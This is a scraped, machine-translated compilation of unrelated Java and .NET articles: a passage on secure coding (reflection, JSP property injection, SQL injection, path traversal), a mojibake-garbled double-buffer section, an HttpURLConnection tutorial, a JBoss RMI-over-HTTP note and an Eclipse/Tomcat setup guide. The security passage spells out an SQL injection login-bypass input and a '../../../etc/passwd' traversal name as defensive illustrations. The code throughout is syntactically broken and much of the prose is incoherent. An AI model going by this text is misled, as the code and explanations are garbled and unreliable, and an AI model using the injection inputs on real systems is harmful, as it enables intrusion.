  However, this code is unsafe, it faced the front of the risk of Perl code into a Java program.    According to conventional Java solution to the problem than a ploy sometimes seem a bit more complex ways, but it almost always has better portability, scalability, but also security, fewer errors.    Runtime.exec () the issue is a simple example, in many other cases are more complex, more subtle. 
  Let us consider the image Java API (Reflection API).    Java Image API allows us to decide at runtime object which calls a method.    Order from any user input image as a time to find the conditions may become system for security weaknesses.    For example, the following code is likely to generate such questions: 
  Method m = bean.getClass (). GetMethod (action, new Class [] ()); 
  M.invoke (bean, new Object [] ()); 

  If the "action" values allows users to change here should pay special attention to the.    Note that this phenomenon may be in some strange places - and perhaps the most surprising is that the JSP.    Most JSP engine with image API functions to achieve the following: 
  <jsp:setProperty Name="bean" property="*" /> 

  Bean set of this method should pay special attention to, because all these methods can be remote users call.    For example, in Listing 3 and Listing 4 Bean JSP pages: 
  (Listing 3) 

  Public class Example 
  ( 
  Public void setName (String name) ( 
  This.name = name;) 
  Public String getName () (return name;) 
  Public void setPassword (String pass) ( 
  This. Pass = pass;) 
  Public String getPassword () (return 
  Pass;) 
  Private String name; 
  Private String pass; 
  ) 
  (Listing 4) 
  <% @ Page import = "Example"%> 
  <Jsp: useBean id = "example" scope = "page" 
  Class = "Example" /> 
  <jsp:setProperty Name="example" property="*" /> 
<html>
<head>
  <title> Bean example </ title> 
  </ Head> 
<body>
<form>
  <input Type="text" name="name" size="30"> 
  <input Type="submit" value="Submit"> 
  </ Form> 
  </ Html> 

  On the surface, the code only allows users to access the example Bean's name.    However, the understanding of the system's users can access "http://whereever.com/example.jsp?name=Fred & password = hack" this URL.    The URL is changed name attribute, and change password Password attribute.    Of course, this should not be the intention of the authors pages, the author's intent is to design a name only allows users to access the property pages.    Therefore, the use of 
  <jsp:setProperty Property="*" … />.  >

  Should be interpreted very carefully the implementation of a string of problems which have allowed embedded script code in any environment.    For example, such problems may Xalan (also known as LotusXSL) there, of course, that is not strictly system settings, vulnerable circumstances. 
  Xalan scripting support to the closure (and Xalan This is the default setting), in the sensitive application of the closure script support is a wise choice.    When you need to deal with DOM XML documents must also be considered to another point: DOM ensure that all texts have been dealing with the right to escape to prevent illegal marker inserted into the script of.    LotusXSL lack of this feature, but this is absolutely not a BUG.    LotusXSL support script is a feature, and it (wisely) is off by default.    The W3C XSL norms do not require the ability to support script. 
  Now we look at the string to explain the impact of the implementation of SQL and JDBC.    We have to assume that a user name and password for the conditions in the searchable database users, Listing 5 Servlet code looks good, but in fact it is dangerous. 
  (Listing 5) 
  String user = request.getAttribute ( "username"); 
  String pass = request.getAttribute ( "password"); 
  String query = "SELECT id FROM users WHERE 
  Username = "+ + user" AND password = "+ pass; 
  Statement stmt = con.createStatement (query); 
  ResultSet rs = con.executeQuery (query); 
  If (rs.next ()) 
  ( 
  / / Login success 
  Int id = rs.getInt (1); 

  ) 
  Else 
  ( 
  / / Login failure 

  ) 

  If the user input for the conditions, the user name is "fred", the password is "something", the system is actually implemented enquiries: 
  SELECT id FROM users WHERE 
  Username = 'fred' AND password = 
  'Something' 

  This query on the user to the correct name and password to carry out inspections.    However, if the user input for the conditions, equivalent to the name "fred 'AND (' a '=' b", the password is "blah ') OR' a '=' a", the implementation of this system of enquiries into: 
  SELECT id FROM users 
  WHERE username = 'fred' AND ( 
  'A' = 'b' AND password = 'blah') OR 'a' = 'a' 

  We can see that this can not be correct for the user name and password to carry out inspections.    Listing 6 code to much safer, a fundamental measure to prevent the user modify SQL commands to evade inspection. 
  (Listing 6) 
  String user = request.getAttribute ( "username"); 
  String pass = request.getAttribute ( "password"); 
  String query = "SELECT id FROM users 
  WHERE username =? AND password =? "; 
  PreparedStatement stmt = con.prepareStatement (query); 
  Stmt.setString (1 user); 
  Stmt.setString (2, pass); 
  ResultSet rs = stmt.executeQuery (); 


  All of the file system's visit could be interpreted string are implementation of the local.    Using Java to access the system, we should pay attention to documents naming.    Listing 7 is an example of the possible danger.    This procedure decisions based on user input documents which read, the danger is that the attacker can input "../../../ etc / passwd "This document name and password access system files.    This is not what we want.    Prevent such security flaws is the simplest way: unless it is absolutely necessary, otherwise do not use flat files (Flat File). 
  (Listing 7) 
  Public class UnsafeServlet 
  ( 
  Public void doGet (HttpServletRequest request, 
  HttpServletResponse response) 
  ( 
  String product = request.getAttribute ( "product"); 
  Reader fin = new FileReader ( 
  "/ Usr / unsafe / products /" + product); 
  BufferedReader in = new BufferedReader (fin); 
  String cost = in.readLine (); 
  / / Other process 
  Response.getWriter (). Println (cost); 
  ) 
  ) 

  Most of the server system, including Servlet and JSP and EJB, support document does not directly depend on the allocation of system access methods.    SecurityManager use customized or use a simple examination scripts (check whether the direct operating procedures document image system, as well as whether or not to use API), we can be implemented "without direct access to file system" strategy.    Although the majority of the application server allows the use of file system, but a good EJB will not use it. 
  Finally, you must not forget that the full separation of data, the precise definition of the good programming practices.    To assume that we have a database to store user information, now need to add a field marked users are super user privileges.    If in the original increase in a column in the table is too complicated, use the following method becomes very attractive: the user name with a special character that the user has special privileges, when users log in to examine the special characters, to prevent unauthorized users claimed that they have special powers.    But in fact, this would be extremely harmful.    All the data field, whether it is in the database or as local variables, the definition should be precise and only keep a message. 

  5, in accordance with the basic principles summarize the above discussion, we have the following prevent the emergence of the fundamental principles of security issues: 
  For all input fields, strictly defined system acceptable to the legitimate input characters, rejected all the other input. 
  Should be as early as possible to check the user input, making use of dangerous regional data to minimize. 
  Do not rely on the browser side JavaScript to carry out safety inspection (although the user, this is a very useful function), all the client has been in the inspection should be carried out in a server-side again. 
  These principles contribute to the elimination of a large number of security issues.    In essence, the application of this level, URL and POST data users and applications is the only way to cross, the focus of our attention should be focused on the URL and user input on the security of data. 
  Of course, simply to comply with the recommendations of this paper can not guarantee absolute security.    You have to analyse all the factors, including the security of your network you use, as well as the safety of other services. 
  Every day new security loopholes are found and fixes.    Adequate security in the system can be connected to the Internet before, and you must listen to the suggestions of experts in the formal introduction to the source code before, we must pay attention to possible loopholes.    Never too careful. 

Ȫ Ó.net е Ädouble buffer

  ˾ ʮ ָ Ц. ÃsetStyleÑdoublebuffer 򿪾 ͺ ô ʵ Ë. Ҫ ȫ ÓdoubleBufferĹ Ð§ҪһЩ Ķ Ã· …    Ҳ Ϊ ʲ ôƵÄ … 
  Ҫ ÃsetStyleöStyleóÉTrue £ 
  UserPaint ¢ AllPaintingInWmPaint DoubleBuffer óÉTrue 
  ֱ ˵ ˵ à

  UserPaint ֧ ֵ û Լ »ƿ ؼ þ. (Ϊ false, Paint ¼ Ӧ) 

  ØAllPaintInWmPaintǣ º 
  Û AllPaintingInWmPaint λ Ԫ ÔOé true "t ҕ Ӎ Ϣ WM_ERASEBKGND K ֱ ӏ ҕ Ӎ Ϣ WM_PAINT ͬ • rÐ OnPaintBackground Í OnPaint 헂 ҕ Ӎ Ϣ WM_ERASEBKGND ½ oß @ 헣 "t һ ɽ ÀLéW ӡ ɂ ҕ Ӎ Ϣ WM_ERASEBKGRNDß_Æ SupportsTransparentBackColor ̓ "M ͸ ãƽ Ä ToolBar £ ^ Ó 

Http study of the use of post and get sent HttpURLConnection request

  The most common requests simply get Http and post, the request can get access to static pages, and you can string parameters on the URL behind transmitted to the servlet, post and get the difference is not on the parameters of post URL characters string inside, but on http request within the body. 
  In Java can be used HttpURLConnection launched two requests, such understanding, the understanding of soap, and the preparation of the automatic test servlet code are of great help. 
  The following code simple description of how to use these two HttpURLConnection initiated the request, as well as the method of transmission parameters: 

  … (Public class HttpInvoker 

  Public static final String GET_URL = "http://localhost:8080/welcome1"; 

  Public static final String POST_URL = "http://localhost:8080/welcome1"; 

  Public static void readContentFromGet () throws IOException (… 
  / / Patchwork get the URL string request, the use of special and URLEncoder.encode not visible characters coding 
  String getURL GET_URL + = "username =" 
  + URLEncoder.encode ( "fat man", "utf-8"); 
  URL getUrl = new URL (getURL); 
  / / In accordance with patchwork URL, open the connection, URL.openConnection function according to the type of URL, 
  / / URLConnection different type of the object here is a http URL, the actual return is HttpURLConnection 
  HttpURLConnection connection = (HttpURLConnection) getUrl 
  . OpenConnection (); 
  / / Connect, but in fact get request to the next one connection.getInputStream () function to be true, 
  / / Server 
  Connection.connect (); 
  / / Obtain input flow, read and use Reader 
  BufferedReader reader = new BufferedReader (new InputStreamReader ( 
  Connection.getInputStream ())); 
  System.out.println ("============================="); 
  System.out.println ( "Contents of get request"); 
  System.out.println ("============================="); 
  String lines; 
  While ((reader.readLine lines = ())! = Null) (… 
  System.out.println (lines); 
  ) 
  Reader.close (); 
  / / Disconnect 
  Connection.disconnect (); 
  System.out.println ("============================="); 
  System.out.println ( "Contents of get request ends"); 
  System.out.println ("============================="); 
  ) 

  Public static void readContentFromPost () throws IOException (… 
  / / Url Post request, and get with different parameters is not necessary 
  URL postUrl = new URL (POST_URL); 
  / / Open connection 
  HttpURLConnection connection = (HttpURLConnection) postUrl 
  . OpenConnection (); 
  / / Output to the connection. Default is 
  / / False, set to true because post 
  / / Method must write something to the 
  / / Connection 
  / / Set up the connection to the output, because this is the post request, on the parameters to 
  / / Http text and therefore need to set true 
  Connection.setDoOutput (true); 
  / / Read from the connection. Default is true. 
  Connection.setDoInput (true); 
  / / Set the post method. Default is GET 
  Connection.setRequestMethod ( "POST"); 
  / / Post cannot use caches 
  / / Post request can not use cache 
  Connection.setUseCaches (false); 
  / / This method takes effects to 
  / / Every instances of this class. 
  / / URLConnection.setFollowRedirects is static function, role in all URLConnection object. 
  / / Connection.setFollowRedirects (true); 

  / / This methods only 
  / / Takes effacts to this 
  / / Instance. 
  / / URLConnection.setInstanceFollowRedirects is a member function, the only role in the function 
  Connection.setInstanceFollowRedirects (true); 
  / / Set the content type to urlencoded, 
  / / Because we will write 
  / / Some URL-encoded content to the 
  / / Connection. Settings above must be set before connect! 
  / / Configuration of this connection Content-type configuration for the application / x-www-form-urlencoded the 
  / / Meaning of the text is urlencoded coding is a form of parameters, we can see that we Below the text content to use URLEncoder.encode 
  / / Encode 
  Connection.setRequestProperty ( "Content-Type." 
  "Application / x-www-form-urlencoded"); 
  / / Connect from postUrl.openConnection () configuration now must connect to complete, 
  / / It should be noted that the conduct of an implied connection.getOutputStream will connect. 
  Connection.connect (); 
  DataOutputStream out = new DataOutputStream (connection 
  . GetOutputStream ()); 
  / / The URL-encoded contend 
  / / Text, text content with the fact get in the URL '?', The parameters of the same string 
  String content = "firstname =" + URLEncoder.encode ( "a big fat," "utf-8"); 
  / / DataOutputStream.writeBytes string of 16 characters in unicode characters in the form of eight wrote flow inside 
  Out.writeBytes (content); 

  Out.flush (); 
  Out.close (); / / flush and close 
  BufferedReader reader = new BufferedReader (new InputStreamReader ( 
  Connection.getInputStream ())); 
  String line; 
  System.out.println ("============================="); 
  System.out.println ( "Contents of post request"); 
  System.out.println ("============================="); 
  While ((line = reader.readLine ())! = Null) (… 
  System.out.println (line); 
  ) 
  System.out.println ("============================="); 
  System.out.println ( "Contents of post request ends"); 
  System.out.println ("============================="); 
  Reader.close (); 
  Connection.disconnect (); 
  ) 

  / ** *//** 
  * @ Param args 
  * / 
  Public static void main (String [] args) (… 
  / / TODO Auto-generated method stub 
  Try (… 
  ReadContentFromGet (); 
  ReadContentFromPost (); 
  ) Catch (IOException e) (… 
  / / TODO Auto-generated catch block 
  E.printStackTrace (); 
  ) 
  ) 

  ) 
  Above readContentFromGet () function resulted in a get request, servlet pass a username parameter value of "fat man." 
  ReadContentFromPost () function resulted in a post request, a firstname servlet transmission parameters, values are "a big fat people." 
  HttpURLConnection.connect function, in fact only the establishment of a tcp connections with the server, and there is no practical sent http request.    Whether or get the post, in fact http request until HttpURLConnection.getInputStream () function inside this was formally sent out. 

  In readContentFromPost (), the order of priority is the connection of all configuration objects (which set a heap of functions) are required to connect () function to complete implementation.    OutputStream on the write operation, and must be in operation before inputStream read.    These sequence is actually http request from the format of the decision. 

  Http request actually consists of two parts, the first one is http, all the http request on the configuration in the head inside http definition is a body of content, in the connect () function inside will, in accordance with the configuration of HttpURLConnection Object Generation http first, before calling connect function, we must put all the configuration ready. 

  Immediately after the first http request is http the body, the contents of the text adopted by outputStream write, in fact outputStream is not a network flow, at best, is a string flow,往里面write things will not be immediately sent to the network, but in the current closure , in accordance with the content generated http input text. 

  At this point, http request of the things were already in place.    In getInputStream () function call when http will be prepared to send a formal request to the server, then return to an input flow for the reader servers http request for the return of this information.    As in the getInputStream http request has been sent out of the (including http head and the body), in the getInputStream () function after the connection target set (http first revision of the information) or write outputStream (revised text) There are no significance, and the implementation of these operations will lead to the occurrence of abnormalities. 

EJB call penetrate the firewall - rmi-http in the application of JBOSS

  In the actual deployment of J2EE application may be encountered across the firewall situation.    If customers do not agree with the need for us to open the port and only for us to stay the HTTP port, then we are not in an impasse, and we can use the rmi-http solve this problem, but perhaps we have to sacrifice some efficiency, as How many sacrifices, and the author has not made thorough testing.    Below is the author using JBOSS rmi-point experience of http: 

  In JBOSS through rmi / http access jndi and ejb, no need to change the code.    JNDI visit only set two environment variables are as follows: 

  Java.naming.factory.initial = org.jboss.naming.HttpNamingContextFactory 

  Java.naming.provider.url = http:// hostip: 8080/invoker/JNDIFactory (Note: Italics of the jboss hostip the specific server ip address) 

  Through RMI / HTTP access EJB as long as the Scarlet Letter will be below add to the corresponding part of the EJB jboss.xml on it. 

  <? Xml version = "1.0" encoding = "UTF-8 "?><! DOCTYPE jboss PUBLIC" - / / JBoss / / DTD JBOSS 3.0 / / EN "" http://www.jboss.org/j2ee/dtd / jboss_3_0.dtd "> <jboss> <unauthenticated-principal> nobody </ unauthenticated-principal> <enterprise-beans> <! - To add beans that you have deployment descriptor info for, add a file to your XDoclet merge directory called jboss-beans.xml that contains the <session> </ session>, <entity> </ entity> and <message-driven> </ message-driven> markup for those beans. -> <session> <ejb-name > Hello </ ejb-name> <jndi-name> Hello </ jndi-name> <local-jndi-name> HelloLocal </ jndi-name local-> <invoker-bindings> <invoker> <invoker-binding proxy - - name>-invoker stateless-http </ invoker-proxy-binding-name> </ invoker> </ invoker-bindings> </ session> </ enterprise-beans> <invoker-proxy-bindings> <! - A custom invoker for RMI / HTTP -> <invoker-proxy-binding> <name> stateless-http-invoker </ name> <invoker-mbean> jboss: = invoker service, type = http </ invoker-mbean> <proxy - factory> org.jboss.proxy.ejb.ProxyFactory </ proxy-factory> <proxy-factory-config> <client-interceptors> <home> <interceptor> org.jboss.proxy.ejb.HomeInterceptor </ interceptor> < interceptor> org.jboss.proxy.SecurityInterceptor </ interceptor> <interceptor> org.jboss.proxy.TransactionInterceptor </ interceptor> <interceptor> org.jboss.invocation.InvokerInterceptor </ interceptor> </ home interceptor> <bean> < > org.jboss.proxy.ejb.StatelessSessionInterceptor </ interceptor> <interceptor> org.jboss.proxy.SecurityInterceptor </ interceptor> <interceptor> org.jboss.proxy.TransactionInterceptor </ interceptor> <interceptor> org.jboss.invocation . InvokerInterceptor </ interceptor> </ bean> </ client-interceptors> </ proxy-factory-config> </ invoker-binding proxy-> </ bindings invoker-proxy-> <resource-managers> </ resource-managers > 

  </ Jboss> 
  End of the above changes, in theory, could be passed on the RMI / HTTP form of a call.    However, the actual tests found that if the default configuration by jboss installation, but can be normal access JNDI normal access EJB,.    Call InitialContext in the lookup, always dished out UnknownHostException.    This problem does not know how to lead, but may amend the http-invoker.sar jboss the default configuration to solve it.    Open jboss \ server \ default \ deploy \ http-invoker.sar \ META-INF directory of jboss-service.xml document.    All of the documents UseHostName attribute values are changed to false.    The attributes mean, who used to host a URL string, the default is open.    But in open play, can not pass the test, so will the closure.    (Note: In the actual test, I only services "jboss: = invoker service, type = http" and "jboss: = invoker service, type = http, Naming target =", both the first and third, the attribute to remove that passed the test.) 

Java Web application development environment configuration Lomboz Eclipse + + Tomcat

  Recently in learning Java Web application development, has been used before in the Eclipse Java code to prepare, because I did not want to prepare in the NoteBook Dos code compiled, so the Internet to find the Eclipse development of the Web application development environment.    There are two main Tomcat + + Lomboz Eclipse and Eclipse Tomcat + + MyEclipse, I use the former, but have heard that the more powerful MyEclipse will in the future try to learn. 

  I followed on the Java Web application development environment configuration process, Eclipse Tomcat 5.0 + 3.2 + 3.2 Lomboz: 

  1. First need to be prepared several software 

  1) JDK  1.5.0   (Now JDK 1.6 version, but I use the JDK1.5, needs and with Eclipse and Tomcat) 

  Download Address: http://java.sun.com/javase/downloads/index_jdk5.jsp 

  2) Eclipse 3.2 (I use the 3.2 version of Eclipse, according to personal preferences can be used in other versions of the Eclipse and Tomcat supports the Lomboz) 

  Download Address: http://download.eclipse.org/eclipse/downloads/ 

  3) Tomcat  5.0.28

  Download Address: http://tomcat.apache.org/ 

  4) tomcatPluginV32 tomcat plugin 

  Download Address: http://www.eclipsetotale.com/tomcatPlugin.html 

  5) Lomboz 3.2 (the version depends on Lomboz Eclipse and Tomcat version, download, pay attention to whether or not to support the corresponding version, download Lomboz need to EMF, GEF two plug-in, under the best all in one version) 

  Download Address: http://forge.objectweb.org/project/showfiles.php?group_id=97 

  2. Installation, configuration JDK 

  Double-click the setup.exe after downloading, installation JDK.    I path for the installation of F: \ WorkProgram \ Java \ jdk  1.5.0 _06

  After the installation is complete need to configure the following environment variable, right-click on My Computer -> Attributes, select Advanced Options -> Environment Variables 

  Click variables in the new system, called JAVA_HOME variable, the variable values for the JDK installation directory F: \ WorkProgram \ Java \ jdk    1.5.0    _06 

  And click on the new, variable called CLASSPATH, variable values.;% JAVA_HOME% \ lib; (one. Not forget to write) 

  PATH choice, click Edit behind in its value added;% JAVA_HOME% \ bin 

  3. Installed Eclipse 

  Eclipse no installation, can be downloaded after decompression, I extract the location of the F: \ WorkProgram \ Eclipse (Web) 

  4. Install, configure Tomcat 

  Tomcat installation of two: one for. Zip compressed files without installation for another. Exe files, the need to install the proposed use of the latter, because I use it in front of a configuration error occurs when Eclipse, I do not know I configured problems or other issues. 

  Tomcat installation, I Tomcat installation path for the F: \ WorkProgram \ Tomcat 5.0 

  Configuration environment variable, with JDK environment variable configuration right-click on My Computer -> Attributes, select Advanced Options -> environment variable.    Click variables in the new system, called CATALINA_HOME variable, the variable values for the Tomcat installation directory F: \ WorkProgram \ Tomcat 5.0 

  Select CLASSPATH, click edit, add, in its back;% CATALINA_HOME% \ common \ lib 

  PATH choice, click edit, add, in its back;% CATALINA_HOME% \ bin 

  Operation Tomcat, open IE http://localhost:8080 input in the address bar, and if we can open the tomcat website that the correct installation and configuration. 

  5. Configuration Eclipse (Tomcat and Lomboz plug-in installed) 

  1) plug-in installation 

  Add Link method used tomcatPluginV32 Lomboz and plug-ins.    After the success of the installation, operation Eclipse, click the window -> Preferences.    In the pop-up window in the left branch of a tomcat and server plug-in that is installed correctly. 

  2) allocation of Tomcat 

  Tomcat branch Tomcat configuration options, configuration, shown below, tomcat version 5. X 

  Tomcat installation path context statement mode, the path context 

  NOTE: End each set after a page click the Apply button, or set up not enter into force. 

  Tomcat open branches, select Advanced branch set up Tomcat installation path 

  Choose JVM Settings branch of the JRE is set up for us to the Security JRE 

  Select Server Installed Runtime branch of the branch, click the Add button, add Tomcat server 

  In the pop-up dialog box, select the Apache-> Apache Tomcat v5.0, click Next 

  Set the path and Eclipse Tomcat in the name of JDK 

  Laws: It shows that the "Tomcat requires a Java SDK in order to compile JSP files……" need to JRE JDK directory set to the installation directory. 

  6. Running through Eclipse Tomcat 

  Eclipse click on the button in the toolbar kitten, the console will display information Tomcat start, when the last show Server startup in *** ms of Environment Configuration success 

  Here, Java Web application development environment complete configuration can be carried out in this environment of the Web Application Development. 

keep looking »